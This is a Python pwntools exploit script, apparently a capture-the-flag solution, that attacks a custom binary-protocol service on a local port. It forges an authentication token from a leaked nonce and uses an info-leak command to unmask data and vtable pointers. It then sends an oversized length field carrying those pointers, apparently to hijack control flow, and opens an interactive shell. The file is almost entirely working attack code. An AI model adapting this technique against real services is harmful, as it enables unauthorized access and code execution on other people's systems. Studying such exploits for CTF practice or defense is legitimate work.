#!/usr/bin/env python3
from pwn import *

context.binary = None
context.log_level = "info"

HOST = args.HOST or "127.0.0.1"
PORT = int(args.PORT or 31337)

BUF_SIZE = 0xFFF0


def checksum(data: bytes) -> int:
    return sum(data) & 0xFFFF


def pack_pkt(op: int, seq: int, payload: bytes = b"", flags: int = 0) -> bytes:
    hdr = p8(op) + p8(flags) + p16(seq) + p16(len(payload)) + p16(checksum(payload))
    return hdr + payload


def recv_reply(io):
    hdr = io.recvn(8)
    op = hdr[0]
    seq = u16(hdr[2:4])
    ln = u16(hdr[4:6])
    csum = u16(hdr[6:8])
    payload = io.recvn(ln)
    if checksum(payload) != csum:
        log.failure("bad checksum")
    return op, seq, payload


def main():
    io = remote(HOST, PORT)
    seq = 1

    io.send(pack_pkt(0x10, seq))
    _, _, payload = recv_reply(io)
    nonce = u64(payload[0:8])
    log.info(f"nonce=0x{nonce:x}")
    seq += 1

    token = nonce ^ 0xC0DEC0DEC0DEC0DE
    io.send(pack_pkt(0x11, seq, p64(token)))
    recv_reply(io)
    seq += 1

    io.send(pack_pkt(0x20, seq, p16(5)))
    recv_reply(io)
    seq += 1

    io.send(pack_pkt(0x21, seq, p16(1)))
    recv_reply(io)
    seq += 1

    io.send(pack_pkt(0x22, seq, p16(0)))
    recv_reply(io)
    seq += 1

    io.send(pack_pkt(0x40, seq, b"\x00"))
    _, _, payload = recv_reply(io)
    masked_data = u64(payload[0:8])
    masked_vtable = u64(payload[8:16])
    seq += 1

    io.send(pack_pkt(0x40, seq, b"\x01"))
    _, _, payload = recv_reply(io)
    key_hint = u64(payload[0:8])
    seq += 1

    key = (key_hint ^ (nonce + 0x9E3779B97F4A7C15))
    key = ((key >> 11) | (key << (64 - 11))) & 0xFFFFFFFFFFFFFFFF

    data = masked_data ^ key
    vtable = masked_vtable ^ key
    log.info(f"data=0x{data:x} vtable=0x{vtable:x}")

    payload = p16(BUF_SIZE) + p16(16) + p64(data) + p64(vtable)
    io.send(pack_pkt(0x30, seq, payload, flags=1))
    recv_reply(io)
    seq += 1

    io.send(pack_pkt(0x31, seq))
    io.interactive()


if __name__ == "__main__":
    main()